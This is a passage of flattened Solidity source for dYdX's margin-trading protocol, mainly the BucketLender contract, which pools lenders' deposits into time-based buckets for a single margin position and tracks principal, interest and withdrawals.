positionId, requiredDeposit ); } /** * Cancel a margin-call. Only callable with the approval of the position lender. * * @param positionId Unique ID of the position */ function cancelMarginCall( bytes32 positionId ) external onlyWhileOperational nonReentrant { LoanImpl.cancelMarginCallImpl(state, positionId); } /** * Used to recover the heldTokens held as collateral. Is callable after the maximum duration of * the loan has expired or the loan has been margin-called for the duration of the callTimeLimit * but remains unclosed. Only callable with the approval of the position lender. * * @param positionId Unique ID of the position * @param recipient Address to send the recovered tokens to * @return Amount of heldToken recovered */ function forceRecoverCollateral( bytes32 positionId, address recipient ) external nonReentrant returns (uint256) { return ForceRecoverCollateralImpl.forceRecoverCollateralImpl( state, positionId, recipient ); } /** * Deposit additional heldToken as collateral for a position. Cancels margin-call if: * 0 < position.requiredDeposit < depositAmount. Only callable by the position owner. * * @param positionId Unique ID of the position * @param depositAmount Additional amount in heldToken to deposit */ function depositCollateral( bytes32 positionId, uint256 depositAmount ) external onlyWhileOperational nonReentrant { DepositCollateralImpl.depositCollateralImpl( state, positionId, depositAmount ); } /** * Cancel an amount of a loan offering. Only callable by the loan offering's payer. * * @param addresses Array of addresses: * * [0] = owedToken * [1] = heldToken * [2] = loan payer * [3] = loan owner * [4] = loan taker * [5] = loan position owner * [6] = loan fee recipient * [7] = loan lender fee token * [8] = loan taker fee token * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * [2] = loan interest rate (annual nominal percentage times 10**6) * [3] = loan interest update period (in seconds) * * @param cancelAmount Amount to cancel * @return Amount that was canceled */ function cancelLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, uint256 cancelAmount ) external cancelLoanOfferingStateControl nonReentrant returns (uint256) { return LoanImpl.cancelLoanOfferingImpl( state, addresses, values256, values32, cancelAmount ); } /** * Transfer ownership of a loan to a new address. This new address will be entitled to all * payouts for this loan. Only callable by the lender for a position. If "who" is a contract, it * must implement the LoanOwner interface. * * @param positionId Unique ID of the position * @param who New owner of the loan */ function transferLoan( bytes32 positionId, address who ) external nonReentrant { TransferImpl.transferLoanImpl( state, positionId, who); } /** * Transfer ownership of a position to a new address. This new address will be entitled to all * payouts. Only callable by the owner of a position. If "who" is a contract, it must implement * the PositionOwner interface. * * @param positionId Unique ID of the position * @param who New owner of the position */ function transferPosition( bytes32 positionId, address who ) external nonReentrant { TransferImpl.transferPositionImpl( state, positionId, who); } // ============ Public Constant Functions ============ /** * Gets the address of the Vault contract that holds and accounts for tokens. * * @return The address of the Vault contract */ function getVaultAddress() external view returns (address) { return state.VAULT; } /** * Gets the address of the TokenProxy contract that accounts must set allowance on in order to * make loans or open/close positions. * * @return The address of the TokenProxy contract */ function getTokenProxyAddress() external view returns (address) { return state.TOKEN_PROXY; } } // File: contracts/margin/interfaces/OnlyMargin.sol /** * @title OnlyMargin * @author dYdX * * Contract to store the address of the main Margin contract and trust only that address to call * certain functions. */ contract OnlyMargin { // ============ Constants ============ // Address of the known and trusted Margin contract on the blockchain address public DYDX_MARGIN; // ============ Constructor ============ constructor( address margin ) public { DYDX_MARGIN = margin; } // ============ Modifiers ============ modifier onlyMargin() { require( msg.sender == DYDX_MARGIN, "OnlyMargin#onlyMargin: Only Margin can call" ); _; } } // File: contracts/margin/external/lib/LoanOfferingParser.sol /** * @title LoanOfferingParser * @author dYdX * * Contract for LoanOfferingVerifiers to parse arguments */ contract LoanOfferingParser { // ============ Parsing Functions ============ function parseLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes signature ) internal pure returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering; fillLoanOfferingAddresses(loanOffering, addresses); fillLoanOfferingValues256(loanOffering, values256); fillLoanOfferingValues32(loanOffering, values32); loanOffering.signature = signature; return loanOffering; } function fillLoanOfferingAddresses( MarginCommon.LoanOffering memory loanOffering, address[9] addresses ) private pure { loanOffering.owedToken = addresses[0]; loanOffering.heldToken = addresses[1]; loanOffering.payer = addresses[2]; loanOffering.owner = addresses[3]; loanOffering.taker = addresses[4]; loanOffering.positionOwner = addresses[5]; loanOffering.feeRecipient = addresses[6]; loanOffering.lenderFeeToken = addresses[7]; loanOffering.takerFeeToken = addresses[8]; } function fillLoanOfferingValues256( MarginCommon.LoanOffering memory loanOffering, uint256[7] values256 ) private pure { loanOffering.rates.maxAmount = values256[0]; loanOffering.rates.minAmount = values256[1]; loanOffering.rates.minHeldToken = values256[2]; loanOffering.rates.lenderFee = values256[3]; loanOffering.rates.takerFee = values256[4]; loanOffering.expirationTimestamp = values256[5]; loanOffering.salt = values256[6]; } function fillLoanOfferingValues32( MarginCommon.LoanOffering memory loanOffering, uint32[4] values32 ) private pure { loanOffering.callTimeLimit = values32[0]; loanOffering.maxDuration = values32[1]; loanOffering.rates.interestRate = values32[2]; loanOffering.rates.interestPeriod = values32[3]; } } // File: contracts/margin/external/lib/MarginHelper.sol /** * @title MarginHelper * @author dYdX * * This library contains helper functions for interacting with Margin */ library MarginHelper { function getPosition( address DYDX_MARGIN, bytes32 positionId ) internal view returns (MarginCommon.Position memory) { ( address[4] memory addresses, uint256[2] memory values256, uint32[6] memory values32 ) = Margin(DYDX_MARGIN).getPosition(positionId); return MarginCommon.Position({ owedToken: addresses[0], heldToken: addresses[1], lender: addresses[2], owner: addresses[3], principal: values256[0], requiredDeposit: values256[1], callTimeLimit: values32[0], startTimestamp: values32[1], callTimestamp: values32[2], maxDuration: values32[3], interestRate: values32[4], interestPeriod: values32[5] }); } } // File: contracts/margin/external/BucketLender/BucketLender.sol /** * @title BucketLender * @author dYdX * * On-chain shared lender that allows anyone to deposit tokens into this contract to be used to * lend tokens for a particular margin position. * * - Each bucket has three variables: * - Available Amount * - The available amount of tokens that the bucket has to lend out * - Outstanding Principal * - The amount of principal that the bucket is responsible for in the margin position * - Weight * - Used to keep track of each account's weighted ownership within a bucket * - Relative weight between buckets is meaningless * - Only accounts' relative weight within a bucket matters * * - Token Deposits: * - Go into a particular bucket, determined by time since the start of the position * - If the position has not started: bucket = 0 * - If the position has started: bucket = ceiling(time_since_start / BUCKET_TIME) * - This is always the highest bucket; no higher bucket yet exists * - Increase the bucket's Available Amount * - Increase the bucket's weight and the account's weight in that bucket * * - Token Withdrawals: * - Can be from any bucket with available amount * - Decrease the bucket's Available Amount * - Decrease the bucket's weight and the account's weight in that bucket * * - Increasing the Position (Lending): * - The lowest buckets with Available Amount are used first * - Decreases Available Amount * - Increases Outstanding Principal * * - Decreasing the Position (Being Paid-Back) * - The highest buckets with Outstanding Principal are paid back first * - Decreases Outstanding Principal * - Increases Available Amount * * * - Over time, this gives highest interest rates to earlier buckets, but disallows withdrawals from * those buckets for a longer period of time. * - Deposits in the same bucket earn the same interest rate. * - Lenders can withdraw their funds at any time if they are not being lent (and are therefore not * making the maximum interest). * - The highest bucket with Outstanding Principal is always less-than-or-equal-to the lowest bucket with Available Amount */ contract BucketLender is Ownable, OnlyMargin, LoanOwner, IncreaseLoanDelegator, MarginCallDelegator, CancelMarginCallDelegator, ForceRecoverCollateralDelegator, LoanOfferingParser, LoanOfferingVerifier, ReentrancyGuard { using SafeMath for uint256; using TokenInteract for address; // ============ Events ============ event Deposit( address indexed beneficiary, uint256 bucket, uint256 amount, uint256 weight ); event Withdraw( address indexed withdrawer, uint256 bucket, uint256 weight, uint256 owedTokenWithdrawn, uint256 heldTokenWithdrawn ); event PrincipalIncreased( uint256 principalTotal, uint256 bucketNumber, uint256 principalForBucket, uint256 amount ); event PrincipalDecreased( uint256 principalTotal, uint256 bucketNumber, uint256 principalForBucket, uint256 amount ); event AvailableIncreased( uint256 availableTotal, uint256 bucketNumber, uint256 availableForBucket, uint256 amount ); event AvailableDecreased( uint256 availableTotal, uint256 bucketNumber, uint256 availableForBucket, uint256 amount ); // ============ State Variables ============ /** * Available Amount is the amount of tokens that is available to be lent by each bucket. * These tokens are also available to be withdrawn by the accounts that have weight in the * bucket. */ // Available Amount for each bucket mapping(uint256 => uint256) public availableForBucket; // Total Available Amount uint256 public availableTotal; /** * Outstanding Principal is the share of the margin position's principal that each bucket * is responsible for. That is, each bucket with Outstanding Principal is owed * (Outstanding Principal)*E^(RT) owedTokens in repayment. */ // Outstanding Principal for each bucket mapping(uint256 => uint256) public principalForBucket; // Total Outstanding Principal uint256 public principalTotal; /** * Weight determines an account's proportional share of a bucket. Relative weights have no * meaning if they are not for the same bucket. Likewise, the relative weight of two buckets has * no meaning. However, the relative weight of two accounts within the same bucket is equal to * the accounts' shares in the bucket and are therefore proportional to the payout that they * should expect from withdrawing from that bucket. */ // Weight for each account in each bucket mapping(uint256 => mapping(address => uint256)) public weightForBucketForAccount; // Total Weight for each bucket mapping(uint256 => uint256) public weightForBucket; /** * The critical bucket is: * - Greater-than-or-equal-to The highest bucket with Outstanding Principal * - Less-than-or-equal-to the lowest bucket with Available Amount * * It is equal to both of these values in most cases except in an edge cases where the two * buckets are different. This value is cached to find such a bucket faster than looping through * all possible buckets. */ uint256 public criticalBucket = 0; /** * Latest cached value for totalOwedTokenRepaidToLender. * This number updates on the dYdX Margin base protocol whenever the position is * partially-closed, but this contract is not notified at that time. Therefore, it is updated * upon increasing the position or when depositing/withdrawing */ uint256 public cachedRepaidAmount = 0; // True if the position was closed from force-recovering the collateral bool public wasForceClosed = false; // ============ Constants ============ // Unique ID of the position bytes32 public POSITION_ID; // Address of the token held in the position as collateral address public HELD_TOKEN; // Address of the token being lent address public OWED_TOKEN; // Time between new buckets uint32 public BUCKET_TIME; // Interest rate of the position uint32 public INTEREST_RATE; // Interest period of the position uint32 public INTEREST_PERIOD; // Maximum duration of the position uint32 public MAX_DURATION; // Margin-call time-limit of the position uint32 public CALL_TIMELIMIT; // (NUMERATOR/DENOMINATOR) denotes the minimum collateralization ratio of the position uint32 public MIN_HELD_TOKEN_NUMERATOR; uint32 public MIN_HELD_TOKEN_DENOMINATOR; // Accounts that are permitted to margin-call positions (or cancel the margin call) mapping(address => bool) public TRUSTED_MARGIN_CALLERS; // Accounts that are permitted to withdraw on behalf of any address mapping(address => bool) public TRUSTED_WITHDRAWERS; // ============ Constructor ============ constructor( address margin, bytes32 positionId, address heldToken, address owedToken, uint32[7] parameters, address[] trustedMarginCallers, address[] trustedWithdrawers ) public OnlyMargin(margin) { POSITION_ID = positionId; HELD_TOKEN = heldToken; OWED_TOKEN = owedToken; require( parameters[0] != 0, "BucketLender#constructor: BUCKET_TIME cannot be zero" ); BUCKET_TIME = parameters[0]; INTEREST_RATE = parameters[1]; INTEREST_PERIOD = parameters[2]; MAX_DURATION = parameters[3]; CALL_TIMELIMIT = parameters[4]; MIN_HELD_TOKEN_NUMERATOR = parameters[5]; MIN_HELD_TOKEN_DENOMINATOR = parameters[6]; // Initialize TRUSTED_MARGIN_CALLERS and TRUSTED_WITHDRAWERS uint256 i = 0; for (i = 0; i < trustedMarginCallers.length; i++) { TRUSTED_MARGIN_CALLERS[trustedMarginCallers[i]] = true; } for (i = 0; i < trustedWithdrawers.length; i++) { TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true; } // Set maximum allowance on proxy OWED_TOKEN.approve( Margin(margin).getTokenProxyAddress(), MathHelpers.maxUint256() ); } // ============ Modifiers ============ modifier onlyPosition(bytes32 positionId) { require( POSITION_ID == positionId, "BucketLender#onlyPosition: Incorrect position" ); _; } // ============ Margin-Only State-Changing Functions ============ /** * Function a smart contract must implement to be able to consent to a loan. The loan offering * will be generated off-chain. The "loan owner" address will own the loan-side of the resulting * position. * * @param addresses Loan offering addresses * @param values256 Loan offering uint256s * @param values32 Loan offering uint32s * @param positionId Unique ID of the position * @param signature Arbitrary bytes * @return This address to accept, a different address to ask that contract */ function verifyLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { require( Margin(DYDX_MARGIN).containsPosition(POSITION_ID), "BucketLender#verifyLoanOffering: This contract should not open a new position" ); MarginCommon.LoanOffering memory loanOffering = parseLoanOffering( addresses, values256, values32, signature ); // CHECK ADDRESSES assert(loanOffering.owedToken == OWED_TOKEN); assert(loanOffering.heldToken == HELD_TOKEN); assert(loanOffering.payer == address(this)); assert(loanOffering.owner == address(this)); require( loanOffering.taker == address(0), "BucketLender#verifyLoanOffering: loanOffering.taker is non-zero" ); require( loanOffering.feeRecipient == address(0), "BucketLender#verifyLoanOffering: loanOffering.feeRecipient is non-zero" ); require( loanOffering.positionOwner == address(0), "BucketLender#verifyLoanOffering: loanOffering.positionOwner is non-zero" ); require( loanOffering.lenderFeeToken == address(0), "BucketLender#verifyLoanOffering: loanOffering.lenderFeeToken is non-zero" ); require( loanOffering.takerFeeToken == address(0), "BucketLender#verifyLoanOffering: loanOffering.takerFeeToken is non-zero" ); // CHECK VALUES256 require( loanOffering.rates.maxAmount == MathHelpers.maxUint256(), "BucketLender#verifyLoanOffering: loanOffering.maxAmount is incorrect" ); require( loanOffering.rates.minAmount == 0, "BucketLender#verifyLoanOffering: loanOffering.minAmount is non-zero" ); require( loanOffering.rates.minHeldToken == 0, "BucketLender#verifyLoanOffering: loanOffering.minHeldToken is non-zero" ); require( loanOffering.rates.lenderFee == 0, "BucketLender#verifyLoanOffering: loanOffering.lenderFee is non-zero" ); require( loanOffering.rates.takerFee == 0, "BucketLender#verifyLoanOffering: loanOffering.takerFee is non-zero" ); require( loanOffering.expirationTimestamp == MathHelpers.maxUint256(), "BucketLender#verifyLoanOffering: expirationTimestamp is incorrect" ); require( loanOffering.salt == 0, "BucketLender#verifyLoanOffering: loanOffering.salt is non-zero" ); // CHECK VALUES32 require( loanOffering.callTimeLimit == MathHelpers.maxUint32(), "BucketLender#verifyLoanOffering: loanOffering.callTimelimit is incorrect" ); require( loanOffering.maxDuration == MathHelpers.maxUint32(), "BucketLender#verifyLoanOffering: loanOffering.maxDuration is incorrect" ); assert(loanOffering.rates.interestRate == INTEREST_RATE); assert(loanOffering.rates.interestPeriod == INTEREST_PERIOD); // no need to require anything about loanOffering.signature return address(this); } /** * Called by the Margin contract when anyone transfers ownership of a loan to this contract. * This function initializes this contract and returns this address to indicate to Margin * that it is willing to take ownership of the loan. * * @param from Address of the previous owner * @param positionId Unique ID of the position * @return This address on success, throw otherwise */ function receiveLoanOwnership( address from, bytes32 positionId ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID); uint256 initialPrincipal = position.principal; uint256 minHeldToken = MathHelpers.getPartialAmount( uint256(MIN_HELD_TOKEN_NUMERATOR), uint256(MIN_HELD_TOKEN_DENOMINATOR), initialPrincipal ); assert(initialPrincipal > 0); assert(principalTotal == 0); assert(from != address(this)); // position must be opened without lending from this position require( position.owedToken == OWED_TOKEN, "BucketLender#receiveLoanOwnership: Position owedToken mismatch" ); require( position.heldToken == HELD_TOKEN, "BucketLender#receiveLoanOwnership: Position heldToken mismatch" ); require( position.maxDuration == MAX_DURATION, "BucketLender#receiveLoanOwnership: Position maxDuration mismatch" ); require( position.callTimeLimit == CALL_TIMELIMIT, "BucketLender#receiveLoanOwnership: Position callTimeLimit mismatch" ); require( position.interestRate == INTEREST_RATE, "BucketLender#receiveLoanOwnership: Position interestRate mismatch" ); require( position.interestPeriod == INTEREST_PERIOD, "BucketLender#receiveLoanOwnership: Position interestPeriod mismatch" ); require( Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID) >= minHeldToken, "BucketLender#receiveLoanOwnership: Not enough heldToken as collateral" ); // set relevant constants principalForBucket[0] = initialPrincipal; principalTotal = initialPrincipal; weightForBucket[0] = weightForBucket[0].add(initialPrincipal); weightForBucketForAccount[0][from] = weightForBucketForAccount[0][from].add(initialPrincipal); return address(this); } /** * Called by Margin when additional value is added onto the position this contract * is lending for. Balance is added to the address that loaned the additional tokens. * * @param payer Address that loaned the additional tokens * @param positionId Unique ID of the position * @param principalAdded Amount that was added to the position * @param lentAmount Amount of owedToken lent * @return This address to accept, a different address to ask that contract */ function increaseLoanOnBehalfOf( address payer, bytes32 positionId, uint256 principalAdded, uint256 lentAmount ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { Margin margin = Margin(DYDX_MARGIN); require( payer == address(this), "BucketLender#increaseLoanOnBehalfOf: Other lenders cannot lend for this position" ); require( !margin.isPositionCalled(POSITION_ID), "BucketLender#increaseLoanOnBehalfOf: No lending while the position is margin-called" ); // This function is only called after the state has been updated in the base protocol; // thus, the principal in the base protocol will equal the principal after the increase uint256 principalAfterIncrease = margin.getPositionPrincipal(POSITION_ID); uint256 principalBeforeIncrease = principalAfterIncrease.sub(principalAdded); // principalTotal was the principal after the previous increase accountForClose(principalTotal.sub(principalBeforeIncrease)); accountForIncrease(principalAdded, lentAmount); assert(principalTotal == principalAfterIncrease); return address(this); } /** * Function a contract must implement in order to let other addresses call marginCall(). * * @param caller Address of the caller of the marginCall function * @param positionId Unique ID of the position * @param depositAmount Amount of heldToken deposit that will be required to cancel the call * @return This address to accept, a different address to ask that contract */ function marginCallOnBehalfOf( address caller, bytes32 positionId, uint256 depositAmount ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { require( TRUSTED_MARGIN_CALLERS[caller], "BucketLender#marginCallOnBehalfOf: Margin-caller must be trusted" ); require( depositAmount == 0, // prevents depositing from canceling the margin-call "BucketLender#marginCallOnBehalfOf: Deposit amount must be zero" ); return address(this); } /** * Function a contract must implement in order to let other addresses call cancelMarginCall(). * * @param canceler Address of the caller of the cancelMarginCall function * @param positionId Unique ID of the position * @return This address to accept, a different address to ask that contract */ function cancelMarginCallOnBehalfOf( address canceler, bytes32 positionId ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { require( TRUSTED_MARGIN_CALLERS[canceler], "BucketLender#cancelMarginCallOnBehalfOf: Margin-call-canceler must be trusted" ); return address(this); } /** * Function a contract must implement in order to let other addresses call * forceRecoverCollateral(). * * param recoverer Address of the caller of the forceRecoverCollateral() function * @param positionId Unique ID of the position * @param recipient Address to send the recovered tokens to * @return This address to accept, a different address to ask that contract */ function forceRecoverCollateralOnBehalfOf( address /* recoverer */, bytes32 positionId, address recipient ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { return forceRecoverCollateralInternal(recipient); } // ============ Public State-Changing Functions ============ /** * Allow anyone to recalculate the Outstanding Principal and Available Amount for the buckets if * part of the position has been closed since the last position increase. */ function rebalanceBuckets() external nonReentrant { rebalanceBucketsInternal(); } /** * Allows users to deposit owedToken into this contract. Allowance must be set on this contract * for "token" in at least the amount "amount". * * @param beneficiary The account that will be entitled to this depoit * @param amount The amount of owedToken to deposit * @return The bucket number that was deposited into */ function deposit( address beneficiary, uint256 amount ) external nonReentrant returns (uint256) { Margin margin = Margin(DYDX_MARGIN); bytes32 positionId = POSITION_ID; require( beneficiary != address(0), "BucketLender#deposit: Beneficiary cannot be the zero address" ); require( amount != 0, "BucketLender#deposit: Cannot deposit zero tokens" ); require( !margin.isPositionClosed(positionId), "BucketLender#deposit: Cannot deposit after the position is closed" ); require( !margin.isPositionCalled(positionId), "BucketLender#deposit: Cannot deposit while the position is margin-called" ); rebalanceBucketsInternal(); OWED_TOKEN.transferFrom( msg.sender, address(this), amount ); uint256 bucket = getCurrentBucket(); uint256 effectiveAmount = availableForBucket[bucket].add(getBucketOwedAmount(bucket)); uint256 weightToAdd = 0; if (effectiveAmount == 0) { weightToAdd = amount; // first deposit in bucket } else { weightToAdd = MathHelpers.getPartialAmount( amount, effectiveAmount, weightForBucket[bucket] ); } require( weightToAdd != 0, "BucketLender#deposit: Cannot deposit for zero weight" ); // update state updateAvailable(bucket, amount, true); weightForBucketForAccount[bucket][beneficiary] = weightForBucketForAccount[bucket][beneficiary].add(weightToAdd); weightForBucket[bucket] = weightForBucket[bucket].add(weightToAdd); emit Deposit( beneficiary, bucket, amount, weightToAdd ); return bucket; } /** * Allows users to withdraw their lent funds. An account can withdraw its weighted share of the * bucket. * * While the position is open, a bucket's share is equal to: * Owed Token: (Available Amount) + (Outstanding Principal) * (1 + interest) * Held Token: 0 * * After the position is closed, a bucket's share is equal to: * Owed Token: (Available Amount) * Held Token: (Held Token Balance) * (Outstanding Principal) / (Total Outstanding Principal) * * @param buckets The bucket numbers to withdraw from * @param maxWeights The maximum weight to withdraw from each bucket. The amount of tokens * withdrawn will be at least this amount, but not necessarily more. * Withdrawing the same weight from different buckets does not necessarily * return the same amounts from those buckets. In order to withdraw as many * tokens as possible, use the maximum uint256. * @param onBehalfOf The address to withdraw on behalf of * @return 1) The number of owedTokens withdrawn * 2) The number of heldTokens withdrawn */ function withdraw( uint256[] buckets, uint256[] maxWeights, address onBehalfOf ) external nonReentrant returns (uint256, uint256) { require( buckets.length == maxWeights.length, "BucketLender#withdraw: The lengths of the input arrays must match" ); if (onBehalfOf != msg.sender) { require( TRUSTED_WITHDRAWERS[msg.sender], "BucketLender#withdraw: Only trusted withdrawers can withdraw on behalf of others" ); } rebalanceBucketsInternal(); // decide if some bucket is unable to be withdrawn from (is locked) // the zero value represents no-lock uint256 lockedBucket = 0; if ( Margin(DYDX_MARGIN).containsPosition(POSITION_ID) && criticalBucket == getCurrentBucket() ) { lockedBucket = criticalBucket; } uint256[2] memory results; // [0] = totalOwedToken, [1] = totalHeldToken uint256 maxHeldToken = 0; if (wasForceClosed) { maxHeldToken = HELD_TOKEN.balanceOf(address(this)); } for (uint256 i = 0; i < buckets.length; i++) { uint256 bucket = buckets[i]; // prevent withdrawing from the current bucket if it is also the critical bucket if ((bucket != 0) && (bucket == lockedBucket)) { continue; } (uint256 owedTokenForBucket, uint256 heldTokenForBucket) = withdrawSingleBucket( onBehalfOf, bucket, maxWeights[i], maxHeldToken ); results[0] = results[0].add(owedTokenForBucket); results[1] = results[1].add(heldTokenForBucket); } // Transfer share of owedToken OWED_TOKEN.transfer(msg.sender, results[0]); HELD_TOKEN.transfer(msg.sender, results[1]); return (results[0], results[1]); } /** * Allows the owner to withdraw any excess tokens sent to the vault by unconventional means, * including (but not limited-to) token airdrops. Any tokens moved to this contract by calling * deposit() will be accounted for and will not be withdrawable by this function. * * @param token ERC20 token address * @param to Address to transfer tokens to * @return Amount of tokens withdrawn */ function withdrawExcessToken( address token, address to ) external onlyOwner returns (uint256) { rebalanceBucketsInternal(); uint256 amount = token.balanceOf(address(this)); if (token == OWED_TOKEN) { amount = amount.sub(availableTotal); } else if (token == HELD_TOKEN) { require( !wasForceClosed, "BucketLender#withdrawExcessToken: heldToken cannot be withdrawn if force-closed" ); } token.transfer(to, amount); return amount; } // ============ Public Getter Functions ============ /** * Get the current bucket number that funds will be deposited into. This is also the highest * bucket so far. * * @return The highest bucket and the one that funds will be deposited into */ function getCurrentBucket() public view returns (uint256) { // load variables from storage; Margin margin = Margin(DYDX_MARGIN); bytes32 positionId = POSITION_ID; uint32 bucketTime = BUCKET_TIME; assert(!margin.isPositionClosed(positionId)); // if position not created, allow deposits in the first bucket if (!margin.containsPosition(positionId)) { return 0; } // return the number of BUCKET_TIME periods elapsed since the position start, rounded-up uint256 startTimestamp = margin.getPositionStartTimestamp(positionId); return block.timestamp.sub(startTimestamp).div(bucketTime).add(1); } /** * Gets the outstanding amount of owedToken owed to a bucket. This is the principal amount of * the bucket multiplied by the interest accrued in the position. If the position is closed, * then any outstanding principal will never be repaid in the form of owedToken. * * @param bucket The bucket number * @return The amount of owedToken that this bucket expects to be paid-back if the posi */ function getBucketOwedAmount( uint256 bucket ) public view returns (uint256) { // if the position is completely closed, then the outstanding principal will never be repaid if (Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) { return 0; } uint256 lentPrincipal = principalForBucket[bucket]; // the bucket has no outstanding principal if (lentPrincipal == 0) { return 0; } // get the total amount of owedToken that would be paid back at this time uint256 owedAmount = Margin(DYDX_MARGIN).getPositionOwedAmountAtTime( POSITION_ID, principalTotal, uint32(block.timestamp) ); // return the bucket's share return MathHelpers.getPartialAmount( lentPrincipal, principalTotal, owedAmount ); } // ============ Internal Functions ============ function forceRecoverCollateralInternal( address recipient ) internal returns (address) { require( recipient == address(this), "BucketLender#forceRecoverCollateralOnBehalfOf: Recipient must be this contract" ); rebalanceBucketsInternal(); wasForceClosed = true; return address(this); } // ============ Private Helper Functions ============ /** * Recalculates the Outstanding Principal and Available Amount for the buckets. Only changes the * state if part of the position has been closed since the last position increase. */ function rebalanceBucketsInternal() private { // if force-closed, don't update the outstanding principal values; they are needed to repay // lenders with heldToken if (wasForceClosed) { return; } uint256 marginPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(POSITION_ID); accountForClose(principalTotal.sub(marginPrincipal)); assert(principalTotal == marginPrincipal); } /** * Updates the state variables at any time. Only does anything after the position has been * closed or partially-closed since the last time this function was called. * * - Increases the available amount in the highest buckets with outstanding principal * - Decreases the principal amount in those buckets * * @param principalRemoved Amount of principal closed since the last update */ function accountForClose( uint256 principalRemoved ) private { if (principalRemoved == 0) { return; } uint256 newRepaidAmount = Margin(DYDX_MARGIN).getTotalOwedTokenRepaidToLender(POSITION_ID); assert(newRepaidAmount.sub(cachedRepaidAmount) >= principalRemoved); uint256 principalToSub = principalRemoved; uint256 availableToAdd = newRepaidAmount.sub(cachedRepaidAmount); uint256 criticalBucketTemp = criticalBucket; // loop over buckets in reverse order starting with the critical bucket for ( uint256 bucket = criticalBucketTemp; principalToSub > 0; bucket-- ) { assert(bucket <= criticalBucketTemp); // no underflow on bucket uint256 principalTemp = Math.min256(principalToSub, principalForBucket[bucket]); if (principalTemp == 0) { continue; } uint256 availableTemp = MathHelpers.getPartialAmount( principalTemp, principalToSub, availableToAdd ); updateAvailable(bucket, availableTemp, true); updatePrincipal(bucket, principalTemp, false); principalToSub = principalToSub.sub(principalTemp); availableToAdd = availableToAdd.sub(availableTemp); criticalBucketTemp = bucket; } assert(principalToSub == 0); assert(availableToAdd == 0); setCriticalBucket(criticalBucketTemp); cachedRepaidAmount = newRepaidAmount; } /** * Updates the state variables when a position is increased. * * - Decreases the available amount in the lowest buckets with available token * - Increases the principal amount in those buckets * * @param principalAdded Amount of principal added to the position * @param lentAmount Amount of owedToken lent */ function accountForIncrease( uint256 principalAdded, uint256 lentAmount ) private { require( lentAmount <= availableTotal, "BucketLender#accountForIncrease: No lending not-accounted-for funds" ); uint256 principalToAdd = principalAdded; uint256 availableToSub = lentAmount; uint256 criticalBucketTemp; // loop over buckets in order starting from the critical bucket uint256 lastBucket = getCurrentBucket(); for ( uint256 bucket = criticalBucket; principalToAdd > 0; bucket++ ) { assert(bucket <= lastBucket); // should never go past the last bucket uint256 availableTemp = Math.min256(availableToSub, availableForBucket[bucket]); if (availableTemp == 0) { continue; } uint256 principalTemp = MathHelpers.getPartialAmount( availableTemp, availableToSub, principalToAdd ); updateAvailable(bucket, availableTemp, false); updatePrincipal(bucket, principalTemp, true); principalToAdd = principalToAdd.sub(principalTemp); availableToSub = availableToSub.sub(availableTemp); criticalBucketTemp = bucket; } assert(principalToAdd == 0); assert(availableToSub == 0); setCriticalBucket(criticalBucketTemp); } /** * Withdraw * * @param onBehalfOf The account for which to withdraw for * @param bucket The bucket number to withdraw from * @param maxWeight The maximum weight to withdraw * @param maxHeldToken The total amount of heldToken that has been force-recovered * @return 1) The number of owedTokens withdrawn * 2) The number of heldTokens withdrawn */ function withdrawSingleBucket( address onBehalfOf, uint256 bucket, uint256 maxWeight, uint256 maxHeldToken ) private returns (uint256, uint256) { // calculate the user's share uint256 bucketWeight = weightForBucket[bucket]; if (bucketWeight == 0) { return (0, 0); } uint256 userWeight = weightForBucketForAccount[bucket][onBehalfOf]; uint256 weightToWithdraw = Math.min256(maxWeight, userWeight); if (weightToWithdraw == 0) { return (0, 0); } // update state weightForBucket[bucket] = weightForBucket[bucket].sub(weightToWithdraw); weightForBucketForAccount[bucket][onBehalfOf] = userWeight.sub(weightToWithdraw); // calculate for owedToken uint256 owedTokenToWithdraw = withdrawOwedToken( bucket, weightToWithdraw, bucketWeight ); // calculate for heldToken uint256 heldTokenToWithdraw = withdrawHeldToken( bucket, weightToWithdraw, bucketWeight, maxHeldToken ); emit Withdraw( onBehalfOf, bucket, weightToWithdraw, owedTokenToWithdraw, heldTokenToWithdraw ); return (owedTokenToWithdraw, heldTokenToWithdraw); } /** * Helper function to withdraw earned owedToken from this contract. * * @param bucket The bucket number to withdraw from * @param userWeight The amount of weight the user is using to withdraw * @param bucketWeight The total weight of the bucket * @return The amount of owedToken being withdrawn */ function withdrawOwedToken( uint256 bucket, uint256 userWeight, uint256 bucketWeight ) private returns (uint256) { // amount to return for the bucket uint256 owedTokenToWithdraw = MathHelpers.getPartialAmount( userWeight, bucketWeight, availableForBucket[bucket].add(getBucketOwedAmount(bucket)) ); // check that there is enough token to give back require( owedTokenToWithdraw <= availableForBucket[bucket], "BucketLender#withdrawOwedToken: There must be enough available owedToken" ); // update amounts updateAvailable(bucket, owedTokenToWithdraw, false); return owedTokenToWithdraw; } /** * Helper function to withdraw heldToken from this contract. * * @param bucket The bucket number to withdraw from * @param userWeight The amount of weight the user is using to withdraw * @param bucketWeight The total weight of the bucket * @param maxHeldToken The total amount of heldToken available to withdraw * @return The amount of heldToken being withdrawn */ function withdrawHeldToken( uint256 bucket, uint256 userWeight, uint256 bucketWeight, uint256 maxHeldToken ) private returns (uint256) { if (maxHeldToken == 0) { return 0; } // user's principal for the bucket uint256 principalForBucketForAccount = MathHelpers.getPartialAmount( userWeight, bucketWeight, principalForBucket[bucket] ); uint256 heldTokenToWithdraw = 